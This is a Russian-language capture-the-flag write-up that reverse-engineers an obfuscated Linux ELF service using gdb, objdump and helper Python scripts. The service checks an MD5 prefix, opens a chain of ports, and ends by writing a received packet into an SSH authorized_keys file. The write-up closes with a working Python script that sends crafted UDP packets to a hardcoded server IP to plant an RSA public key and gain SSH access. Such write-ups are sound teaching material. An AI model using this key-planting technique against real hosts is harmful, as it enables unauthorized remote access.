|
Начальные условия
Опрос сервера на наличие доступа по стандартным протоколам подключения показал наличие доступа по SSH (порт 22). Предоставленный файл является исполняемым ELF (на что тонко намекнули расширением в названии) для Linux. #file UwRJ8iaEEd4tSQIe_n24.elf UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped Использование утилиты strings показало наличие строк «/home/task/.ssh» и «/home/task/.ssh/authorized_keys». Вывод о возможности доступа к файлу ключей беспарольной авторизации SSH со стороны исполняемого файла ELF (далее – сервиса). В символьной таблице присутствуют необходимые функции для открытия файлов и записи: # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen 23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2) # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write 32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2) В символьной таблице также присутствуют функции для работы с сокетами, по созданию процессов и по подсчету MD5. Реверс файла показал наличие большого числа прыжков (некоего рода обфускация). При этом прыжки осуществляются между блоками кода, которые в общем могут быть разбиты на несколько типов:
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad При этом в таких блоках флаг OF обычно не установлен в силу выполнения инструкций «xor», «and» и других.
95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
По результатам реверса сделано предположение о наличии реализации подсчета по алгоритму MD5. Необходимая для расчета таблица не реализована отдельно, а читается прямо в коде в блоках. В коде есть символы с названиями «MD5_Init», «MD5_Update» и «MD5_final». В целом с использованием возможностей всем известного дизассемблера и его API скриптов можно было определить ход выполнения программы статически. Но лицензия дизассемблера дорогая, пробная версия у них грустная, достать его сложно и я обходился свободно распространяемыми утилитами, да и этот путь дольше. Поэтому динамика, тем более возможность есть. Закинул файл ELF в виртуалку. Заранее создал директорию «/home/task/.ssh/» на всякий случай. При запуске требуется указать порт. Учитывая, что мы не контролируем запуск на стороне сервера, подумал, что этот параметр фиктивный. Реальный порт должен быть один. Netstat показал наличие открытого порта 5432 (UDP). # netstat -ulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:5432 0.0.0.0:* 13611/./UwRJ8iaEEd4 Отправка пакета с данными на указанный порт выводит сообщение об их верификации и некие данные (4 байта) со стороны сервиса: #echo "test" > /dev/udp/127.0.0.1/5432 # Verifying 74657374 009ec3b8 Перебор различных данных на позволил выявить зависимость вывода от их содержимого. Далее – отладка с использованием gdb. Первым делом узнаю, где получаем данные, точка останова на recvfrom и backtrace. Получаем в итоге адрес 0x6ae010 и дальше цепочка переходов: 6ae00b: e8 d0 2b d5 ff call 400be0 В цепочке вызов функции по адресу 0x810758 и обработка ее результата. Ставим break на 0xb01902, отправляем пакет с данными, смотрим код возврата (регистр rax): (gdb) b *0xb01902 Breakpoint 2 at 0xb01902 (gdb) c Continuing. Verifying 74657374 00f82488 Breakpoint 2, 0x0000000000b01902 in MD5_Init () (gdb) info reg rax rax 0x0 0 Код 0 при неправильных данных. Следовательно, предполагаем, что для правильного решения нам нужно вернуть код не 0. В процессе дальнейшего исследования посмотрел через gdb, что передается в функцию MD5_Update при отправке пакета данных (отправлял также «test»). (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512 Результат. MD5 считается от переданного нами сообщения, но размер считаемых данных 512 Байт. Поигравшись с данными, выяснил, что MD5 считается от присланных данных с заполненными до размера 512 байт нулями. Но отправлять нужно минимум 8 байт, чтобы заменить некое 8 байтовое число, хранимое в стеке. Судя по всему, там хранился какой-то адрес. Выводимые при этом сервисом 4 байта на каждый пришедший пакет соответствуют первым 3 байтам MD5-суммы с дополнительным нулем. Вернулся к функции 0x810758 и ее коду возврата 0. Возвращаемое значение хранится в регистре RAX. Для определения кода возврата установил 2 точки останова на адрес самой функции 0x810758 и адрес после ее выполнения 0x827326. Отправил данные, сработала точка в 0x810758. Запустил в gdb скрипт:
import gdb
with open("flow.log", "w") as fw:
while 1:
s = gdb.execute("info reg rip", to_string=True)
s = s[s.find("0x"):]
gdb.execute("ni", to_string=True)
address = s.split("\t")[0].strip()
fw.write(address + "\r\n")
address = int(address, 16)
if address == 0x827326:
break
Получил файлик flow.log со всеми пройденными адресами в процессе выполнения исследуемой функции. На самом деле все было не так просто, но пришел в итоге к этому. Подготовил файлик «disasm.log» с дизассемблированным кодом из objdmp к читабельному виду типа «адрес:инструкция» без лишних строк. Запустил такой вот скрипт:
F_NAME = "disasm.log"
F_FLOW = "flow.log"
def prepare_code_flow(f_path):
with open(f_path, "rb") as fr:
data = fr.readlines()
data = filter(lambda x: x, data)
start_address = long(data[0].split(":")[0], 16)
end_address = long(data[-1].split(":")[0], 16)
res = [""] * (end_address - start_address + 1)
for _d in data:
_d = _d.split(":")
res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip()
return start_address, res
def parse_instruction(code):
mnem = code[:7].strip()
ops = code[7:].split(",")
return [mnem] + ops
def process_instruction(code):
parse_data = parse_instruction(code)
if parse_data[1] in ["rax", "eax", "al"]:
return True
return False
if __name__ == '__main__':
# Prepare disassemble data
start_address, codes = prepare_code_flow(F_NAME)
with open(F_FLOW, "rb") as fr:
lines = fr.readlines()
lines.reverse()
lines = filter(lambda x: x, lines)
count = 0
for _l in lines:
offset = long(_l.strip(), 16) - start_address
if process_instruction(codes[offset]):
print str(count) + " " + hex(offset + start_address) + " " + codes[offset]
break
count += 1
continue
Скрипт просто «идет» по адресам назад от конца до момента пока не получит в первом операнде инструкции регистр RAX. Результат: 0x462c19 mov eax, DWORD PTR [rbp-0x14] Аналогично скрипт запущен дальше до момента пока не получит в первом операнде инструкции DWORD PTR [rbp-0x14] (предположение, что значение в RBP в нужном диапазоне не меняется было верным, потом проверено так же с gdb). Тут стоит отметить, что второй вариант поиска адреса изменения значения в [rbp-0x14] – это тот же gdb c watch. Результат: 0x67c27c mov DWORD PTR [rbp-0x14], 0x0 Вот оно нулевое значение. Дальше просто шаги назад до какого-либо ветвления (файл «flow.log»): 95b6ad: jmp 73d0d1 Адрес 0x95b6b2 – сравнение некоего значения с 0x133337. Точка останова, смотрим, что в [rbp-0x2d4]. Для этого отправляем пакет с данными «testtest»: # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23 Совпадение по 3 первым байтам MD5-суммы. Решение сводится к получению MD5-суммы с первыми 3 байтами «\x37\x33\x13». Простой скрипт для перебора чисел от нуля с расчетом в бинарном виде MD5 до нужного совпадения. Необходимые данные для отправки получены. Отправляем данные и получаем сообщение от сервиса о назначении нового порта для приема данных: New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0 Netstat не показал данного порта, да и вообще новых портов. Но ps показала наличие завершившегося дочернего процесса (зомби). Пришла идея, что порт открывается на некоторое время в дочернем процессе. Отправил нужный пакет на порт 5432, а за ним на порт 14235. И ничего. Порт перестал открываться. В итоге сгенерировал другие данные и, соответственно, MD5 с нужным началом. Снова сообщение, но на этот раз с другим портом. После перезапуска сервиса сработала первая MD5, снова с портом 14235. Появилась мысль, что сервис запоминает отработанные MD5. Поэтому тестировал, каждый раз перезапуская сервис. Результат: Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4 Опять новый порт. Здесь я начал думать, что цепочка портов может оказаться длинной… На самом деле следующий за этим порт (31841) оказался последним. Спустя некоторое время работы с gdb и дизассемблированным кодом и различных тестов обнаружил, что появился файл «/home/task/.ssh/authorized_keys». Далее обнаружить причину появления файла стало вопросом времени, что записывается в этот файл тоже. В файл в итоге записываются данные пакета, отправленного в след за первым на последний открывшийся порт (если непонятно, в скрипте ниже будет видно). Дальше генерация RSA ключей и отправка публичного. Затем авторизация на сервере по SSH, поиск и получение флага. В процессе применения у меня сработала только третья сгенерированная MD5-сумма. Уже после сдачи задания по результатам реверса выяснил, что на самом деле третья сумма будет срабатывать всегда (точнее до истечения некоего счетчика). Для постоянного срабатывания суммы необходимо, чтобы передаваемое в первых 4 байтах данных пакета (от которого считается MD5) целое число типа int было отрицательным, то есть первый бит четвертого байта был установлен (обратный порядок байт). Ниже скрипт, использовавшийся для передачи ключа RSA, при решении задачи.
import socket
import time
import SocketServer
import select
d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00','"\xa5I\x90\x00\x00\x00\x00\x00\x00']
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
print "Send 1"
s.sendto(d[0], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 2"
s.sendto(d[1], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 3"
s.sendto(d[2], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 4"
s.sendto("\x00", ("95.216.185.52", 41357))
time.sleep(0.2)
print "Send 5"
s.sendto("\x04", ("95.216.185.52", 42381))
# for i in range(256):
time.sleep(0.2)
print "Send 6"
s.sendto("\x02", ("95.216.185.52", 28709))
# Read key
with open("ssh_key.txt", "rb") as fr:
data = fr.read()
print len(data)
print "Send 7"
s.sendto(data, ("95.216.185.52", 28709))
print s.recvfrom(1500)
s.close()
При успешном выполнении получаем «OK» в ответ. На деле, как я написал, лишним оказалось отправлять первую и вторую MD5-сумму. Также думаю, что не все решил из требуемого, просто подобралось. Не думал, что получу инвайт, почти 40 часов прошло со старта задания до момента, когда я отправил флаг. Спасибо. |